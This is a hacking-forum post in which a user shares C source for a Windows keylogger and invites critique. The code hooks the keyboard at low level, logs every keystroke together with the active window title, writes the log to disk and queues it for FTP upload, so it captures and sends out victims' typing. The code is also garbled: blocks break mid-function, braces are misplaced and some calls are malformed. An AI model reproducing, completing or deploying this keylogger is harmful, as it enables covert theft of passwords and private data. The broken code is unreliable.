

Forum:[Hack Forums](#)

Thread: [buffered unicode windows keylogger with secure ftp offload](#)

0xEIPadrino - July 17, 2025, 10:33 am

please shit on my code to allow me to get better, will be posting different pieces every now and then hope everyone has a blessed day!

work in process :)

```
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "keylogger.h"      // public API
#include "ftp_uploader.h"   // FTPUploader* (queue API)

#pragma comment(lib, "shlwapi.lib")

#define BUF_CAP      4096      // size of in-memory log buffer
#define FLUSH_PERIOD_MS 10000  // how often to flush buffer (ms)

// path to the log file (wide chars)
static WCHAR      g_log_path[MAX_PATH];
static char      g_buf[BUF_CAP];    // in-memory buffer
static size_t     g_len = 0;        // current buffer length
static CRITICAL_SECTION g_cs;        // protects g_buf and g_len
static HHOOK      g_hook = NULL;    // keyboard hook handle
static FTPUploader *g_ftp = NULL;    // FTP upload queue
static HANDLE      g_thread = NULL;  // logger thread handle
static HANDLE      g_stop_event = NULL; // signals thread to stop

// write an error message to the debugger
static void log_error(const char *msg, DWORD err) {
    char tmp[256];
    sprintf(tmp, sizeof(tmp), "Keylogger error: %s (0x%08lX)\n", msg, err);
    OutputDebugStringA(tmp);
}

// fill dst with a timestamp like YYYY-MM-DD HH:MM:SS
static void now_iso(char *dst, size_t n) {
    time_t t = time(NULL);
    struct tm tm;
    localtime_s(&tm, &t);
    strftime(dst, n, "%Y-%m-%d %H:%M:%S", &tm);
}
```

```

// write any buffered keystrokes to disk (and enqueue FTP)
static void flush_log(void) {
    char temp_buf[BUF_CAP];
    size_t temp_len;

    // grab buffer contents and reset under lock
    EnterCriticalSection(&g_cs);
    if (g_len == 0) {
        LeaveCriticalSection(&g_cs);
        return;
    }
    memcpy(temp_buf, g_buf, g_len);
    temp_len = g_len;
    g_len = 0;
    LeaveCriticalSection(&g_cs);

    // append to the log file
    HANDLE h = CreateFileW(
        g_log_path,
        FILE_APPEND_DATA,
        FILE_SHARE_READ,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    if (h == INVALID_HANDLE_VALUE) {
        log_error("failed to open log file", GetLastError());
    } else {
        DWORD written;
        if (!WriteFile(h, temp_buf, (DWORD)temp_len, &written, NULL) || written != temp_len) {
            log_error("failed to write log file", GetLastError());
        }
        CloseHandle(h);
    }
}

// if FTP is set up, queue the file (must be secure)
if (g_ftp) {
    if (!ftp_is_secure(g_ftp)) {
        log_error("FTP not secure, use FTPS/SFTP", 0);
    }
    if (task_enqueue(g_ftp, g_log_path, L"logs") != 0) {
        log_error("FTP enqueue failed", 0);
    }
}
}

// called on every key press
static LRESULT CALLBACK kb_proc(int code, WPARAM wp, LPARAM lp) {
    if (code == HC_ACTION && (wp == WM_KEYDOWN || wp == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT *k = (KBDLLHOOKSTRUCT*)lp;
        char line[256];
    }
}

```

```

char ts[32];
WCHAR titleW[256] = {0};
CHAR titleA[256] = {0};

now_iso(ts, sizeof(ts));
if (!GetWindowTextW(GetForegroundWindow(), titleW, _countof(titleW))) {
    log_error("cannot get window title", GetLastError());
}
WideCharToMultiByte(CP_UTF8, 0, titleW, -1, titleA, sizeof(titleA), NULL, NULL);

// check if it's a printable ASCII key
if (k->vkCode >= 0x20 && k->vkCode < 0x7F) {
    snprintf(line, sizeof(line), "[%s] (%s) %c\n", ts, titleA, (char)k->vkCode);
} else {
    snprintf(line, sizeof(line), "[%s] (%s) <VK_%02X>\n", ts, titleA, (UINT)k->vkCode);
}

size_t len = strlen(line);
EnterCriticalSection(&g_cs);
if (g_len + len >= BUF_CAP) {
    LeaveCriticalSection(&g_cs);
    flush_log();
    EnterCriticalSection(&g_cs);
}
memcpy(g_buf + g_len, line, len);
g_len += len;
LeaveCriticalSection(&g_cs);
}
return CallNextHookEx(g_hook, code, wp, lp);
}

// main logger thread, sets up hook and waits for stop or timeout
static DWORD WINAPI logger_thr(LPVOID _) {
    g_hook = SetWindowsHookExW(WH_KEYBOARD_LL, kb_proc, GetModuleHandleW(NULL), 0);
    if (!g_hook) {
        log_error("failed to install hook", GetLastError());
    }

    MSG msg;
    HANDLE events[] = { g_stop_event };
    while (1) {
        DWORD r = MsgWaitForMultipleObjects(
            1, events, FALSE, FLUSH_PERIOD_MS, QS_ALLINPUT
        );
        if (r == WAIT_OBJECT_0) // stop signaled
            break;

        while (PeekMessageW(&msg, NULL, 0, 0, PM_REMOVE)) {
            TranslateMessage(&msg);
            DispatchMessageW(&msg);
        }
        flush_log();
    }
}

```

```

    if (g_hook)
        UnhookWindowsHookEx(g_hook);
    flush_log();
    return 0;
}

// start logging, returns FALSE on error
BOOL start_keylogger_thread(const WCHAR *path, FTPUploader *ftp) {
    InitializeCriticalSection(&g_cs);
    g_stop_event = CreateEvent(NULL, TRUE, FALSE, NULL);
    if (!g_stop_event) {
        log_error("failed to create stop event", GetLastError());
        return FALSE;
    }

    wcsncpy_s(g_log_path, path, _TRUNCATE);
    g_ftp = ftp;

    g_thread = CreateThread(NULL, 0, logger_thr, NULL, 0, NULL);
    if (!g_thread) {
        log_error("failed to start thread", GetLastError());
        DeleteCriticalSection(&g_cs);
        CloseHandle(g_stop_event);
        return FALSE;
    }
    return TRUE;
}

// tell the thread to stop, wait for it, then clean up
void stop_keylogger_thread(void) {
    if (g_stop_event) {
        SetEvent(g_stop_event);
        if (g_thread) {
            WaitForSingleObject(g_thread, INFINITE);
            CloseHandle(g_thread);
            g_thread = NULL;
        }
        CloseHandle(g_stop_event);
        g_stop_event = NULL;
    }
    DeleteCriticalSection(&g_cs);
}

```